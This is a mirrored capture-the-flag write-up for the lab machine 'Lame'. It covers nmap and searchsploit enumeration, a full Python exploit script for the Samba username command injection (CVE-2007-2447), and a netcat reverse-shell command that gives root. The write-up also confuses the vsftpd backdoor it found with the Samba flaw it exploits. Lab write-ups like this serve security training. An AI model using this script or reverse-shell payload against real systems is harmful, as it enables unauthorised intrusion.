mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
207 lines
6.6 KiB
Markdown
207 lines
6.6 KiB
Markdown
---
|
|
search:
|
|
exclude: true
|
|
---
|
|
# Lame Writeup
|
|
|
|
|
|
|
|
## Introduction :
|
|
|
|
**Lame** is an easy Linux box which was released back in March 2017. It features a common vulnerability which could be exploited using a metasploit module.
|
|
|
|
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
λ root [/home/nihilist] → nmap -sC -sV 10.10.10.3
|
|
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-11 10:55 EDT
|
|
Nmap scan report for 10.10.10.3
|
|
Host is up (0.27s latency).
|
|
Not shown: 996 filtered ports
|
|
PORT STATE SERVICE VERSION
|
|
21/tcp open ftp vsftpd 2.3.4
|
|
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
|
| ftp-syst:
|
|
| STAT:
|
|
| FTP server status:
|
|
| Connected to 10.10.14.6
|
|
| Logged in as ftp
|
|
| TYPE: ASCII
|
|
| No session bandwidth limit
|
|
| Session timeout in seconds is 300
|
|
| Control connection is plain text
|
|
| Data connections will be plain text
|
|
| vsFTPd 2.3.4 - secure, fast, stable
|
|
|_End of status
|
|
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|
|
| ssh-hostkey:
|
|
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|
|
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|
|
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|
|
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
|
|
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
|
|
|
Host script results:
|
|
|_clock-skew: mean: 3h44m23s, deviation: 0s, median: 3h44m23s
|
|
| smb-os-discovery:
|
|
| OS: Unix (Samba 3.0.20-Debian)
|
|
| NetBIOS computer name:
|
|
| Workgroup: WORKGROUP\x00
|
|
|_ System time: 2019-06-11T10:39:56-04:00
|
|
|_smb2-time: Protocol negotiation failed (SMB2)
|
|
Service detection performed.
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 98.43 seconds
|
|
|
|
|
|
Here we can see that the ports 21, 22, 139 and 445 are opened The port 21 is running an outdated version of vsftpd (here: v2.3.4 current:v3.0.3), this is going to be our main focus for the next part.
|
|
|
|
## **Part 2 : Getting User Access**
|
|
|
|
We know that port 21 is running vsftpd 2.3.4, let's see if there are exploits we can use using the **searchsploit** command:
|
|
|
|
|
|
λ nihilist [~] → searchsploit vsftpd 2.3.4
|
|
------------------------------------------------------ ------------------------------
|
|
Exploit Title | Path
|
|
| (/usr/share/exploitdb/)
|
|
------------------------------------------------------ ------------------------------
|
|
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)| exploits/unix/remote/17491.rb
|
|
------------------------------------------------------ ------------------------------
|
|
Shellcodes: No Result
|
|
|
|
|
|
We could use the metasploit module exploiting the present CVE-2007-2447 But we can also use the following [python script](https://github.com/Jack-Barradell/exploits/blob/master/CVE-2007-2447/cve-2007-2447.py) in order to exploit our target machine.
|
|
|
|
|
|
# CVE-2007-2447 - RCE in Samba
|
|
|
|
import getopt
|
|
import sys
|
|
from smb import SMBConnection
|
|
|
|
|
|
def usage():
|
|
print('CVE-2007-2447 - RCE In Samba 2.0.20 < 3.0.25rc3')
|
|
print()
|
|
print('Flags:')
|
|
print('{} - Target Host'.format('\t-t --target'.ljust(20,' ')))
|
|
print('{} - Target Port'.format('\t-p --port'.ljust(20,' ')))
|
|
print('{} - Command to execute'.format('\t-c --cmd'.ljust(20,' ')))
|
|
print()
|
|
|
|
|
|
def main():
|
|
try:
|
|
opts,args = getopt.getopt(sys.argv[1:],'t:p:c:',['target','port','cmd'])
|
|
except getopt.GetoptError as e:
|
|
print(str(e))
|
|
usage()
|
|
sys.exit(1)
|
|
target = None
|
|
port = None
|
|
cmd = None
|
|
for o,a in opts:
|
|
if o in ('-t','--target'):
|
|
target = a
|
|
elif o in ('-p','--port'):
|
|
try:
|
|
port = int(a)
|
|
except ValueError:
|
|
print('[!] Invalid port provided, must be an int')
|
|
usage()
|
|
sys.exit(1)
|
|
elif o in ('-c','--cmd'):
|
|
cmd = a
|
|
else:
|
|
print('[!] Invalid option {} with value: {}'.format(o,a))
|
|
usage()
|
|
sys.exit(1)
|
|
|
|
missing_param = False
|
|
|
|
if target is None:
|
|
print('[!] Must provide target')
|
|
missing_param = True
|
|
|
|
if port is None:
|
|
print('[!] Must provide port')
|
|
missing_param = True
|
|
|
|
if cmd is None:
|
|
print('[!] Must provide command')
|
|
missing_param = True
|
|
|
|
if missing_param:
|
|
usage()
|
|
sys.exit(1)
|
|
|
|
print('[+] Generating exploit')
|
|
exploit = '/=`nohup {}`'.format(cmd)
|
|
|
|
c = SMBConnection.SMBConnection(exploit, '', '', '')
|
|
|
|
try:
|
|
c.connect(target, port, timeout=1)
|
|
except:
|
|
print('[+] Exploit sent')
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
|
|
|
|
With which we are now able to run using the following commands within 2 separate terminals :
|
|
|
|
_Terminal n°1 :_
|
|
|
|
|
|
λ nihilist [~] → nc -lvnp 4444
|
|
|
|
|
|
_Terminal n°2 :_
|
|
|
|
|
|
λ nihilist [~] → python3 cve-2007-2447.py -t 10.10.10.3 -p 445 -c "nc -e /bin/bash 10.10.14.10 4444"
|
|
[+] Generating exploit
|
|
[+] Exploit sent
|
|
|
|
|
|
Which gives us access to the machine. Through a reverse shell back to our local address **10.10.14.10** at the listening **4444** port. within our first Terminal.
|
|
|
|
_Terminal n°1 :_
|
|
|
|
|
|
λ nihilist [~] → nc -lvnp 4444
|
|
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 43358
|
|
# id
|
|
uid=0(root) gid=0(root)
|
|
|
|
|
|
We now have not only user access, but also an Elevated-privilege Reverse Shell which is going to allow us to read both the user and root flags.
|
|
|
|
## **Part 3 : The Root Access**
|
|
|
|
All we need to do is print out both the user flag and root flag since we are now logged on as root.
|
|
|
|
|
|
# id
|
|
uid=0(root) gid=0(root)
|
|
|
|
#cat /home/makis/user.txt
|
|
[REDACTED]
|
|
|
|
#cat /root/root.txt
|
|
[REDACTED]
|
|
|
|
|
|
## **Conclusion**
|
|
|
|
Here we can see the progress graph :
|
|
|
|
|
|
|